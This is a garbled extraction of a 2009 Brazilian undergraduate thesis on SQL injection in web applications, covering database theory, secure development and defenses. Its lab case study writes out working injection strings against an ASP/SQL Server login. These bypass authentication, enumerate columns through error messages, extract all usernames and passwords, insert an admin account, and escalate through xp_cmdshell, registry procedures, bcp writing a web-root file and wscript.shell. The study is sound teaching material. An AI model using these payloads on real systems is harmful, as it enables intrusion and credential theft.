Escolar Documentos
Profissional Documentos
Cultura Documentos
RONALDO GUMERATO
S
A
IN
IM
“SQL INJECTION”
N
EM APLICAÇÕES WEB
U
Uberlândia
2009
1
RONALDO GUMERATO
“SQL INJECTION”
S
EM APLICAÇÕES WEB
A
Monografia apresentada à Faculdade de
IN
Ciências Aplicadas de Minas da União
Educacional Minas Gerais (UNIMINAS), como
parte das exigências para obtenção do Título de
Bacharel em Sistemas de Informação.
IM
Uberlândia
2009
2
RONALDO GUMERATO
S
Orientador: Prof. Esp. Leandro de Souza Lopes
A
IN
Banca Examinadora:
________________________________________________________
Professor: Esp. Leandro de Souza Lopes – UNIMINAS (Orientador)
N
________________________________________________________
Professora: Dra. Kátia Lopes Silva – UNIMINAS
U
________________________________________________________
Professor: Esp. Rogério de Freitas Ribeiro – UNIMINAS
Uberlândia/MG
2009
3
DEDICATÓRIA
S
mesmo sem perceber, valores que levarei por
toda a vida.
A
IN
IM
N
U
4
RESUMO
até então, era desconhecida. Não tardou para que a aparição de ameaças contra a
S
mais seguros, gerando duas vertentes desarmônicas – rápida implementação de
A
danos decorrentes das vulnerabilidades. Esse trabalho apresenta uma técnica
chamada “SQL Injection” que é utilizada por crackers para atacar bancos de dados
IN
através de aplicações voltadas para a Internet e que não adotaram uma metodologia
ABSTRACT
Information became a valuable and strategical asset. The call “age of the
information”, characterized mainly for the digital inclusion and dissemination of the
Internet, has produced a great volume of information whose anteriority in history, until
then, was unknown. It did not delay so that the appearance of threats against the
integrity and availability of the information compromised the initial trend of expansion,
generating diffidence how the way such information are stored, transmitted and
S
resulted in the development of safer products, generating two disharmonious sources -
A
the information to attenuate the decurrent damages of the vulnerabilities. This work
presents one called technique “SQL Injection” that is used by crackers to attack data
IN
bases through applications directed toward the Internet and that they had not adopted
work also presents the main imperfections that generally are explored and how to
IM
LISTA DE FIGURAS
S
Figura 11 – Demonstração de ataque direto a URL .................................................................... 36
Figura 12 – Consulta passada para interpretação do banco de dados ....................................... 36
Figura 13 – Exemplo de ataque direto a URL .............................................................................. 37
A
Figura 14 – Exemplo de ataque direto a URL .............................................................................. 37
Figura 15 – Exemplo de ataque direto a URL .............................................................................. 37
Figura 16 – Exemplo de ataque direto a URL .............................................................................. 38
Figura 17 - Exemplo de tela de erro gerada com técnica de SQL Injection ................................ 38
IN
Figura 18 - Exemplo de injeção de caracteres em campo de formulário ................................... 39
Figura 19 - Exemplo de mensagem de erro com informações sobre a estrutura da tabela....... 39
Figura 20 - Exemplo de comando para explorar mensagens de erro ......................................... 39
Figura 21 - Exemplo de mensagem de erro com informações sobre a estrutura da tabela....... 39
IM
Figura 31 - Código de um formulário de uma aplicação web onde o usuário digita nome e
senha ........................................................................................................................................... 51
Figura 32 - Tela de Login onde o usuário digita nome (Username) e senha (Password)............ 52
Figura 33 - Código de validação de usuário e senha ................................................................... 53
Figura 34 - Código que concatena o comando SQL a ser executado .......................................... 53
Figura 35 - Parâmetro para login sem a necessiade de especificar a senha............................... 54
Figura 36 - Login com as credenciais do primeiro usuário cadastrado na tabela "USERS" ........ 54
Figura 37 - Parâmetros de usuário e senha especificados por um usuário mal intencionado ... 54
Figura 38 - Comando utilizado para a criação da tabela "USERS" e inserção de dados ............. 55
7
Figura 39 - uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da tabela
e da sua primeira coluna ............................................................................................................. 56
Figura 40 - Uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da
segunda coluna da tabela ........................................................................................................... 56
Figura 41 - Uso da cláusula "HAVING" com todos os campos da tabela .................................... 56
Figura 42 - Comando equivalente ao processado pelo servidor ao final do processo ............... 57
Figura 43 - Erro que permite identificar o tipo de dado de uma coluna .................................... 57
Figura 44 - Erro que permite identificar se o tipo de dado de uma coluna é numérico............. 58
Figura 45 - Cadastro realizado pelo usuário mal intencionado depois de obter a estrutura
aproximada da tabela.................................................................................................................. 58
Figura 46 - Erro que retorna a versão do SQL Server e do sistema operacional ........................ 59
Figura 47 - Erro que retorna o nome do primeiro usuário cadastrado na tabela "USERS" ........ 59
Figura 48 - Erro que retorna o nome do segundo usuário cadastrado na tabela "USERS" ........ 60
Figura 49 - Erro que retorna a senha do usuário "ADMIN" ........................................................ 60
Figura 50 - Erro que retorna a todos os usuários e as senhas da tabela “USERS”...................... 61
S
Figura 51 - Exemplo de execução da rotina “XP_CMDSHELL” .................................................... 63
Figura 52 - Exemplo de execução da rotina “XP_CMDSHELL” para listar todos os usuários do
servidor ....................................................................................................................................... 64
A
Figura 53 - Exemplo de execução da rotina “XP_REGREAD” para listar todos null-session
shares do servidor ...................................................................................................................... 65
Figura 54 - Exemplo de execução da rotina “XP_SERVICECONTROL” para iniciar serviços no
IN
servidor ....................................................................................................................................... 65
Figura 55 - Exemplo de criação, execução e exclusão de uma extended stored procedure ...... 66
Figura 56 - Exemplo de uso do “BULK INSERT”........................................................................... 66
Figura 57 - Exemplo de uso do “BCP” ......................................................................................... 67
Figura 58 - Exemplo de uso das rotinas sp_OACreate e sp_OAGetProperty para executar o
IM
Notepad....................................................................................................................................... 67
N
U
8
S
DCL - Linguagem de Controle de Dados
A
DDL - Linguagem de Definição de Dados
S
A
IN
IM
N
U
10
SUMÁRIO
RESUMO..............................................................................................................................................4
1 - INTRODUÇÃO .............................................................................................................................12
S
2.1.1 – UTILIZAÇÃO ......................................................................................................................18
2.1.2 – MODELO RELACIONAL ..................................................................................................19
2.1.3 – ESTRUTURA DOS BANCOS DE DADOS RELACIONAIS ........................................21
A
2.1.4 – MODELO DE BANCO DE DADOS .................................................................................22
2.1.5 - LINGUAGEM DE CONSULTA ESTRUTURADA (SQL) ...............................................24
2.2 – APLICAÇÕES WEB...................................................................................................................27
2.2.1 – DESENVOLVIMENTO DE APLICAÇÕES WEB ...........................................................29
IN
2.2.2 - DESENVOLVIMENTO SEGURO DE APLICAÇÕES WEB .........................................31
6 – CONCLUSÃO..............................................................................................................................68
6.1 – CONCLUSÃO.............................................................................................................................68
6.2 – PERSPECTIVAS FUTURAS....................................................................................................68
7 – REFERÊNCIAS ...........................................................................................................................70
S
A
IN
IM
N
U
12
1 - INTRODUÇÃO
S
aplicações web e o navegador web (browser).
A
frequentemente sofrem com a falta de segurança incorporada. As vulnerabilidades
resultantes representam um caminho fácil para que crackers acessem ou roubem
dados e informações corporativas ou pessoais.
IN
A quantidade de ataques utilizando métodos automatizados para a
exploração de falhas através de SQL Injection é bem significativa. Este
comportamento mostra que, na maioria das vezes, as aplicações web estão
IM
extremamente vulneráveis, como pode ser observado na figura 1 que foi retirada do
web site da National Vulnerability Database que é um repositório de dados sobre
vulnerabilidades do governo norte americano.
N
U
13
S
A
Figura 1 - Gráfico representando o crescimento de vulnerabilidades relacionadas a SQL Injection
IN
A primeira metade de 2008 foi marcada pelo grande aumento em
descobertas de SQL Injection, mais que dobrando o número de vulnerabilidades vistas
no mesmo período de 2007.
IM
Essa camada de criptografia impossibilita que a verificação feita pelo IDS e o IPS
bloqueie códigos maliciosos, fazendo com que estes cheguem até a aplicação web
normalmente.
S
para manutenção de um ambiente seguro.
A
de utilização do SQL Injection como forma de ataque a aplicações Web e servidores
de banco de dados. São apresentados também mecanismos de defesa recomendados
pelas melhores práticas de segurança no mercado. O ataque SQL Injection foi
IN
escolhido como tema por sua capacidade "destrutiva" e para demonstrar a importância
da segurança ainda no desenvolvimento das aplicações.
importantes.
Operacional ou em qualquer outro software, mas sim, uma falha na forma como a
este tipo de ataque deixando assim as portas abertas para a injeção de comandos
SQL na aplicação.
1.3 - OBJETIVOS
S
1.3.1 - OBJETIVOS GERAIS
A
Demonstrar a natureza dos ataques à aplicações baseadas em Injeção SQL
1.4 - JUSTIFICATIVA
Segurança sempre foi e será um tema de destaque, seja em casa, nas ruas ou
departamento de uma única empresa que não se preocupe com este tema. Ao
16
bancos de dados, a preocupação será maior ainda, pois são justamente estes, os
método, com potencial devastador quando explorado: o SQL Injection, que não é
S
e sim no código das aplicações.
A
aparentam ser motivos de discórdia, porém os métodos instituídos é objeto freqüente
as aplicações seguras.
tipo de ataque.
Injection.
os resultados obtidos.
S
A
IN
IM
N
U
18
S
Normalmente um banco de dados possui um sistema gerenciador. Esse
modelo de software é conhecido como Sistema Gerenciador de Bancos de Dados
(SGBD).
A
Um Sistema Gerenciador de Banco de Dados (SGBD) é constituído
IN
por um conjunto de dados associados a um conjunto de programas
para acesso a esses dados. O conjunto de dados comumente
chamado de banco de dados, contém informações sobre uma
empresa em particular. (SILBERSCHATZ, Abraham; KORTH, Henry
IM
2.1.1 – UTILIZAÇÃO
S
A
IN
Figura 2 - Representação simplificada de um modelo de banco de dados
PEDIDO PRODUTOS
Cod_pedido Cod_produto
Cod_cliente Nome_produto
Cod_produto
Qtde_produto
Val_produto
CLIENTE ENDERECO
Cod_cliente Cod_endereco
Nome_cliente Nome_rua
S
Cod_estadocivil Num_endereco
Cod_endereco Des_complemento
Cep
A
Figura 3 - Representação gráfica de um banco de dados relacional
valores para uma proposição: verdadeira ou falsa. Os dados são tratados pelo cálculo
relacional ou álgebra relacional.
U
S
Uma relvar (variável relacional) é um conjunto de pares ordenados de domínio e nome
que serve como um cabeçalho para uma relação. Uma relação é um conjunto
A
desordenado de tuplas. Apesar destes conceitos matemáticos, eles correspondem
basicamente aos conceitos tradicionais dos bancos de dados. Uma relação é similar
ao conceito de tabela e uma tupla é similar ao conceito de linha.
IN
Os modelos de tabelas em uma estrutura de dados relacional são compostos
por três componentes: uma coleção de estruturas de dados ou relações, por vezes
incorretamente identificadas como tabelas; uma coleção de operadores, a álgebra e o
IM
como dados. Qualquer tipo de atributo representa relações entre conjuntos de dados.
O modelo relacional é uma teoria matemática desenvolvida por Ted Codd1 para
descrever o comportamento das bases de dados. Embora esta teoria seja a base para
1
Edgar Frank "Ted" Codd (23 de Agosto de 1923 a 18 de Abril de 2003) foi um cientista britânico que,
enquanto trabalhava pela IBM, inventou o modelo relacional para gerenciamento de bancos de dados.
22
Cliente (ID Cliente, ID Taxa, Nome, Endereço, Cidade, Estado, CEP, Telefone)
S
Data prometida, Status)
A
Nota fiscal (Número da nota, ID Cliente, Número do pedido, Data, Status)
IN
Item da nota fiscal (Número da nota,Número do item,Código do produto,
Quantidade vendida)
IM
Uma chave candidata é um identificador único que garante que nenhuma tupla
será duplicada; isto faz com que o relacionamento em algo denominado um
multiconjunto, ou seja, entre vários elementos, seja mantido de forma ordenada. Uma
chave pode ser formada por vários atributos. A figura 4, apresenta um exemplo tabular
da relação exemplo Cliente.
23
Um relacionamento pode ser abstraído como um valor que pode ser atribuído a
uma relvar.
S
Existem também as chaves estrangeiras que são condições de integridade que
garantem que o valor de um atributo é obtido de uma chave candidata de outra
A
relação, por exemplo, na relação Pedido o atributo ID Cliente é uma chave
estrangeira. Uma união é uma operação que retorna a informação de várias relações
de uma só vez. Através da união de relações do exemplo utilizado, é possível
IN
consultar no banco de dados quais são os clientes, pedidos e notas. Se forem
necessárias apenas as linhas de um cliente específico, é possível especificar isto
utilizando uma condição de restrição.
IM
de notas terá um pedido, o que implica em precisamente um pedido para cada nota.
Mas na realidade uma nota pode ser criada a partir de muitos pedidos, ou mesmo para
nenhum pedido em particular. Adicionalmente um pedido contém um número de nota,
implicando que cada pedido tem uma nota correspondente. Mas novamente isto não é
verdadeiro no mundo real. Um pedido é às vezes pago através de várias notas, e às
vezes pago sem uma nota. Em outras palavras podem-se ter muitas notas por pedido
e muitos pedidos por nota. Isto é um relacionamento vários-para-vários entre pedidos
e notas. Para representar este relacionamento no banco de dados uma nova relação
24
S
dados relacional, para melhorar a consistência lógica do projeto do banco de dados e
o desempenho transacional.
A
Existem dois sistemas mais comuns de diagramação que ajudam na
representação visual do modelo relacional: o DER (diagrama de entidade-
relacionamento) (SILBERSCHATZ, KORTH e SUDARSHAN 1999), e o diagrama
IN
correlato IDEF (Integrated DEFinition Methods – desenvolvido e mantido pela
2
Knowledge Based Systems, Inc.) utilizado no método IDEF1X criado pela Força
Aérea Americana baseado no DER.
IM
relacional.
O SQL foi criado pela IBM Research na década de 70, mas rapidamente foram
criados vários “dialetos” por outros fornecedores ou desenvolvedores. Essa expansão
levou a necessidade de ser criado e adaptado um padrão para a linguagem. Esta
tarefa foi realizada pelo American National Standards Insitute (ANSI) em 1986 e
International Organization for Standardization (ISO) em 1987.
2
Em Dezembro de 1993 o Laboratório de Sistemas Computacionais do Instituto Nacional de Padrões e
Tecnologia (NIST) definiu o IDEF1X como padrão para modelagem de dados na edição 184 da FIPS.
25
S
Conforme SILBERSCHATZ, KORTH e SUDARSHAN (1999,p.110), “A
SQL DML abrange uma linguagem de consulta baseado tanto na álgebra relacional
quanto no calculo relacional de tuplas,” e é utilizada para selecionar, inserir, atualizar e
apagar dados.
•
A
SELECT – é o comando mais utilizado da DML, comanda e
IN
permite ao usuário especificar uma consulta como uma
descrição do resultado desejado.
• INSERT – é usada para adicionar uma linha (fila) a uma tabela
existente.
IM
S
coluna a uma tabela existente.
•
•
ALTER TABLE;
CREATE INDEX; A
IN
• ALTER INDEX;
• DROP INDEX;
• CREATE VIEW;
IM
• DROP VIEW.
− DCL – Linguagem de Controle de Dados
A DCL controla os aspectos de autorização de dados e licenças de
usuários para controlar quem tem acesso para ver ou manipular dados
dentro do banco de dados.
N
• ALTER PASSWORD;
• CREATE SYNONYM.
27
S
1 A 1
2 B 2
C1
1
2
C2
A
B
Select
A
where C1=1
* from X C1
1
C2
A
IN
Figura 5 - Exemplo de modelos de consulta SQL
S
A
Figura 6 - Exemplo de um portal de comércio eletrônico
IN
As aplicações web são aplicações que utilizam a Internet como camada de
apresentação, dessa forma a interação com o usuário se torna mais amigável e as
IM
S
registro, etc.), transacionais (comércio eletrônico, instituições financeiras, etc.),
workflow e ambientes de trabalho colaborativo, comunidades e portais web. Existem
A
aplicações que pertencem a mais de uma dessas categorias, isso demonstra a
S
entradas do usuário.
− Manutenibilidade: existe uma rápida evolução tecnológica
aliada à necessidade de atualização constate do conteúdo e
A
das informações disponibilizadas na web, logo o software
web deve ser fácil de corrigir, adaptar e estender.
IN
O desenvolvimento de aplicações web encontra, entretanto, problemas de
engenharia em seus projetos: inexperiência e formação inadequada dos
desenvolvedores, falta (de uso) de métricas para estimativas, o não uso de modelos
IM
Carvalho et al. (CARVALHO 2001) define que "a engenharia de software é uma
disciplina que reúne metodologias, as quais são compostas por métodos que se
utilizam de ferramentas automatizadas, para viabilizar a produção, da percepção do
problema até o momento em que o sistema desenvolvido deixa de ser operacional,
visando resolver problemas inerentes ao processo de desenvolvimento e ao produto
de software, enfrentando os efeitos advindos com o que se denominou crise do
software".
31
S
Procedimentos, treinamento, política de segurança, dentre outros são
aspectos importantes a serem considerados.” (ALBUQUERQUE.;
RIBEIRO, 2002, p.106).
A
Deve existir um comprometimento com a segurança por parte de toda a equipe
de desenvolvimento, isto se dá através de treinamento e conscientização dos
IN
membros da equipe.
um produto de software.
S
Segurança da aplicação
A
Figura 7 - Exemplo de sala de segurança para servidores
desenvolvida – atenção
desenvolver uma aplicação que seja segura, siga corretamente a especificação de
necessária para
IN
segurança e não contenha acessos ocultos, códigos maliciosos ou falhas que
comprometam a segurança.
S
A
IN
IM
N
U
34
S
código inseguro em um sistema conectado a Internet com o objetivo de passar
comandos diretamente a um banco de dados, conseguindo assim acesso não
A
autorizado ao ambiente e suas informações.
CARACTER FUNÇÃO
Caracter indicador de textos (encerra string de
' ou " texto)
-- ou # Comenta uma linha
/*…*/ Comenta várias linhas
+ Adiciona ou concatena
|| (pipe dupla) concatena dados
% Insere um atributo
?Param1=teste&Param2=tes Parâmetros no formato URL
PRINT Útil para comando não transacional
@variable Variável local
@@variable Variável global
waitfor delay '0:0:10' Cria um atraso (delay)
3.1.2 – O ATAQUE
S
O SQL Injection é um dos mais comuns ataques na camada de
aplicação praticados na Internet de acordo com pesquisas realizadas pelos institutos
A
Gartner e IDC. As tecnologias vulneráveis a este tipo de ataque são as que utilizam
linguagens dinâmicas como ASP, ASP.NET, PHP, JSP, CGI entre outras. A única
ferramenta necessária para a prática deste tipo de ataque é o navegador Internet o
IN
que torna este método tão popular.
um banco de dados possam ser roubadas, alteradas ou até mesmo apagadas. Certos
SGBD’s como o Microsoft SQL Server contém stored procedures e extended
U
S
Quando o usuário informa a seguinte URL:
A
Figura 9 – Exemplo de URL com parâmetros
IN
A seguinte consulta é executada:
IM
seguinte forma:
U
S
A
Figura 14 – Exemplo de ataque direto a URL
3.2.1 – O ATAQUE
WEB o invasor pode em primeiro lugar tentar o acesso à aplicação com o primeiro
usuário da tabela sem nem mesmo saber qual é, utilizando o seguinte comando:
S
O comportamento padrão de aplicações ASP é retornar mensagens de
erro como o exemplo mostrado na figura 17 quando algo está errado e, com isso, um
A
invasor pode identificar a estrutura do banco e visualizar qualquer informação que
possa ser consultada pelo usuário que a aplicação utiliza para se conectar ao banco
de dados.
IN
IM
N
U
S
A
Figura 19 - Exemplo de mensagem de erro com informações sobre a estrutura da tabela
IN
Agora o invasor já sabe o nome da tabela USUARIOS e da primeira
coluna COD utilizada no comando SQL. Ele pode agora descobrir as outras colunas
inserindo cada uma delas em uma clausula GROUP BY.
IM
S
Caso essa cláusula seja usada em um campo de tipo numérico uma mensagem de
erro informará que os campos em mais de uma linha não coincidem.
A
O uso desta técnica pode praticamente determinar o tipo de qualquer
coluna em uma tabela, permitindo então a criação de um comando de inserção bem
IN
formatado como:
S
Figura 26 - Exemplo de mensagem de erro com a versão do SGBD
A
A mensagem apresentada mostra a versão do sistema operacional
(Windows NT 5.0 (Build 2195: Service Pack 2)) e a versão do SGBD utilizado
('Microsoft SQL Server 2000 - 8.00.194 (Intel X86))
IN
3.2.3 – OBTENDO CONTROLE SOBRE O SISTEMA OPERACIONAL E REDE
Uma vez que um invasor possui controle do banco de dados ele pode
N
agora tentar obter acesso para controlar o sistema operacional e até mesmo a rede.
S
A
IN
IM
N
U
3
ActiveX é uma tecnologia da Microsoft para o desenvolvimento de páginas dinâmicas. Tem presença
na programação do lado do servidor e do lado do cliente, embora existam diferenças no uso em cada
um desses casos.
43
S
complexo e demorado, mas são uma arma importante na prevenção de ataques.
•
A
Rejeitar dados conhecidos como inválidos.
IN
• Aceitar dados conhecidos como válidos.
• Escape de caracteres.
IM
S
A
IN
IM
N
U
S
não definido nessa função seja utilizado.
A
IN
Um ponto importante é garantir que somente o que a aplicação
necessita para funcionar será liberado, restringindo assim o acesso ao servidor de
banco de dados.
IM
aplicações.
o Remover contas desnecessárias.
o Garantir que todas as contas possuem senhas fortes.
o Executar o banco de dados com uma conta de baixo
privilégio.
• Verificar os objetos existentes.
46
S
• Habilitar a auditoria de senhas para todas as contas.
• Remover protocolos de rede não utilizados.
Verificar o que deve ser registrado em logs e o que deve ser feito
A
•
com os logs armazenados.
3. Bloqueio do IP do ofensor.
S
A
IN
IM
N
S
A
Figura 30 - Desabilitar mensagens de erro padrão definindo mensagens de alerta
IN
4.3.2 – UTILIZAÇÃO DE FERRAMENTAS DE ANÁLISE DE CÓDIGO-
FONTE
IM
S
As análises de código fonte podem ser divididas de acordo com as
seguintes abordagens:
A
Análise estática: a análise estática pode compreender as técnicas de
busca direta a partir de lista de strings, a análise léxica, onde os tokens do código
IN
fonte são comparados com àqueles contidos numa biblioteca de vulnerabilidades e
análise semântica, onde se prevê como o programa se comportará em tempo de
execução, usando a tecnologia de compiladores (árvore sintática abstrata)
S
A
IN
IM
N
U
51
5 – ESTUDO DE CASO
S
informações - o que inclui, por exemplo, servidores Oracle. Nos testes realizados em
laboratório foram utilizados servidores da plataforma Microsoft: Internet Information
Server 6, Active Server Pages e Microsoft SQL Server 2000.
senha.
N
U
Figura 31 - Código de um formulário de uma aplicação web onde o usuário digita nome e senha
4
O American National Standards Institute (ANSI) é uma organização sem fins lucrativos cuja finalidade é
criar padrões de aceitação internacional sobre um determinado assunto
52
S
Figura 32 - Tela de Login onde o usuário digita nome (Username) e senha (Password)
A
IN
IM
N
U
53
S
A
IN
IM
Este código não realiza nenhum tipo de validação nos dados que foram
digitados pelo usuário. Isso permite que um usuário mal intencionado, que conheça
54
Username: admin’—
Password:
Figura 35 - Parâmetro para login sem a necessiade de especificar a senha
S
de dados como um comentário.
A
tenha conhecimento de um nome de usuário válido. Neste caso, é possível se
autenticar com as credenciais do primeiro usuário cadastrado na tabela “USERS”
conforme mostra a figura 36.
IN
Username: ’ or 1=1—
Password:
Figura 36 - Login com as credenciais do primeiro usuário cadastrado na tabela "USERS"
IM
S
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
go
A
Figura 38 - Comando utilizado para a criação da tabela "USERS" e inserção de dados
IN
Na simulação utilizada, um possível usuário que queira cadastrar um
usuário nessa tabela para assim ter acesso ao sistema, precisaria conhecer a
estrutura da tabela ou ele terá poucas chances de sucesso. Mesmo que ele tenha
IM
sorte, o significado das colunas pode não ser claro o bastante – veja o caso da coluna
“PRIVS”, responsável pelo armazenamento dos privilégios dos usuários: um usuário
mal intencionado poderia inserir o valor “1” nessa coluna, quando na verdade gostaria
de atribuir o valor “65535” para que possuísse privilégios administrativos na aplicação.
N
/process_login.asp, line 35
Figura 39 - uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da tabela e da sua primeira
coluna
S
seguinte.
A
Username tem-se a mensagem de retorno demonstrada na figura 40.
IN
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid
in the select list because it is not contained in either an aggregate function or the
GROUP BY clause.
/process_login.asp, line 35
IM
Figura 40 - Uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da segunda coluna da tabela
S
-- Error
A
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
aggregate operation cannot take a varchar data type as an argument.
IN
/process_login.asp, line 35
campo numérico, o erro retornado informaria que o numero de colunas nos dois
comandos SELECT é diferente, o que pode ser constatado pelo código presente na
Figura 44.
58
-- Error
/process_login.asp, line 35
Figura 44 - Erro que permite identificar se o tipo de dado de uma coluna é numérico
S
Esta técnica pode ser utilizada para identificar, de modo aproximado, o
tipo de dado de cada coluna em cada tabela no banco de dados. Assim, conhecendo-
se as colunas da tabela “USERS”, pode-se criar um comando INSERT coerente com a
estrutura da tabela apresentada na figura 45.
A
IN
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Figura 45 - Cadastro realizado pelo usuário mal intencionado depois de obter a estrutura aproximada da tabela
figura 46 a seguir.
59
-- Error
/process_login.asp, line 35
Figura 46 - Erro que retorna a versão do SQL Server e do sistema operacional
S
Esta mensagem de erro ocorre devido à tentativa de conversão da
variável global @@VERSION em um tipo de dado numérico, fato que acontece
A
porque a primeira coluna da tabela “USERS” é numérica.
Username: ' union select min(username),1,1,1 from users where username > 'a'--
-- Error
N
/process_login.asp, line 35
Figura 47 - Erro que retorna o nome do primeiro usuário cadastrado na tabela "USERS"
Username: ' union select min(username),1,1,1 from users where username >
'admin'--
-- Error
/process_login.asp, line 35
S
Figura 48 - Erro que retorna o nome do segundo usuário cadastrado na tabela "USERS"
A
ataque descobrindo senhas, conforme exibido na figura 49.
IN
Username: ' union select password,1,1,1 from users where username = 'admin'--
-- Error
IM
/process_login.asp, line 35
N
Para isso pode-se usar dois comandos como mostrados na figura 50.
61
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+
username +'/'+ password from users where username>@ret select @ret as ret into
foo end--
-- Error
/process_login.asp, line 35
S
Figura 50 - Erro que retorna a todos os usuários e as senhas da tabela “USERS”
A
Sobre os dois comandos utilizados: o primeiro cria uma tabela “FOO” e
insere na coluna “RET” uma seqüência de caracteres. Se o usuário não possuir
privilégios para criação de uma tabela permanente, existe a opção de criar uma
IN
temporária. O segundo comando foi utilizado para converter esta string em um valor
numérico.
De modo geral, quanto mais detalhada for a mensagem de erro que o usuário mal
intencionado recebe, mais fácil o seu trabalho.
dados, o próximo passo foi utilizar os direitos inerentes ao usuário para controle da
rede, e isso pode ser feito de várias formas:
U
S
outras formas que não foram simuladas neste trabalho. Estes cenários foram listados
como os mais óbvios em um ataque a um servidor SQL Server através de SQL
Injection e serão analisados a seguir.
A
5.1.3.1 ATAQUE A COMANDOS DO SISTEMA OPERACIONAL COM
XP_CMDSHELL
IN
Extended stored procedures são essencialmente DDLs (Dynamic Link
Libraries) compiladas que fazem uso de uma convenção de chamada específica do
SQL Server para a execução de suas funções. Elas permitem que aplicações SQL
Server tenham acesso a todo o potencial de programação do C/C++ e são um recurso
IM
com o SQL Server e que permite a execução de linhas de comandos da mesma forma
que se executa no Command Prompt (DOS) do Windows. A figura 51 mostra um
exemplo da execução desta rotina com seu resultado.
U
63
S
A
IN
Figura 51 - Exemplo de execução da rotina “XP_CMDSHELL”
IM
output
-----------------------------------------------------------------------
NULL
User accounts for \\
NULL
-------------------------------------------------------------------------------
Administrator ASPNET Guest
IUSR_LOKI IWAM_LOKI SQLDebugger
SUPPORT_388945a0 WADM_LOKI
The command completed with one or more errors.
NULL
S
NULL
A
Figura 52 - Exemplo de execução da rotina “XP_CMDSHELL” para listar todos os usuários do servidor
IN
Como o servidor SQL está sempre sendo executado com uma conta de
domínio ou como “Local System Account”, é possível fazer grandes estragos utilizando
esta rotina.
Vale lembrar que o SQL Server 2005 já vem com a extended stored
IM
xp_regaddmultistring
U
•
• xp_regdeletekey
• xp_regdeletevalue
• xp_regenumkeys
• xp_regenumvalues
• xp_regread
• xp_regremovemultistring
• xp_regwrite
65
Estas rotinas podem ser utilizadas, por exemplo, para determinar todos
os null-session shares 5 do servidor, conforme mostra a figura 53.
Value Data
------------------------------ --------- -----
nullsessionshares - Item #1 COMCFG NULL
nullsessionshares - Item #2 DFS$ NULL
(2 row(s) affected)
S
Figura 53 - Exemplo de execução da rotina “XP_REGREAD” para listar todos null-session shares do servidor
A
determinado serviço para que ele seja inicializado quando for realizada uma operação
de reinicialização no servidor.
IN
5.1.3.3. ATAQUES ATRAVÉS DE OUTRAS EXTENDED PROCEDURES
A extended stored procedure XP_SERVICECONTROL permite que o
usuário inicialize, finalize, pare ou continue um determinado serviço. A figura 54
mostra exemplos dessa rotina.
IM
•
• XP_LOGINCONFIG (exibe o modo de segurança do servidor);
• XP_MAKECAB (permite que o usuário crie arquivos
compactados no servidor);
• XP_NTSEC_ENUMDOMAINS (exibe os domínios que o servidor
tem acesso);
5
Null Session Shares são recursos compartilhados utilizados por aplicações que não são executadas no
contexto do usuário - por exemplo, aplicações executadas como Local System Account.
66
Uma vez que a DLL está presente no servidor onde o SQL Server esta
instalado, pode-se criar, executar, e excluir uma extended stored procedure utilizando
os comandos presentes na figura 55.
S
use master
go
A
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
go
IN
exec xp_webserver
go
sp_dropextendedproc 'xp_webserver'
IM
GO
Figura 55 - Exemplo de criação, execução e exclusão de uma extended stored procedure
S
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -
Usa -Pfoobar
A
Figura 57 - Exemplo de uso do “BCP”
IN
Os parâmetros utilizados aqui são, “-S” para o nome do servidor, “-U”
para o nome do usuário SQL e “-P” para a senha deste usuário no servidor SQL. Para
utilizar segurança integrada, basta substituir os parâmetros -U e -P por -E.
IM
interagir com eles. Um script desses escrito em Transact-SQL pode fazer tudo o que
um script ASP ou WSH pode fazer. O exemplo da figura 58 utiliza o objeto
“WSCRIPT.SHELL” para criar uma instância do aplicativo Notepad.
U
-- wscript.shell example
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
Figura 58 - Exemplo de uso das rotinas sp_OACreate e sp_OAGetProperty para executar o Notepad
68
6 – CONCLUSÃO
6.1 – CONCLUSÃO
S
aplicações.
A
• Discorrer sobre metodologias dirigidas ao desenvolvimento seguro de
softwares.
IN
• Relacionar requisitos de segurança fundamentais.
S
código fonte.
A
IN
IM
N
U
70
7 – REFERÊNCIAS
S
2000.
A
HOPCROFT, John; ULLMAN, Jeffrey (1979), Introduction to automata theory,
IN
languages, and computation, Addison-Wesley, pp. 185–192.
WEB, Futura.
SIPSER, Michael (2006). "Section 4.2: The Halting Problem". Introduction to the
Theory of Computation (Second Edition ed.). PWS Publishing. pp. pp.173–182. ISBN
053494728X.
71
TECHNET. (2003). SQL Server 2000 SP3 Security Features and Best Practices:
Security Best Practices Checklist. Disponível em: http://technet.microsoft.com/en-
us/library/cc966456.aspx
S
A
IN
IM
N
U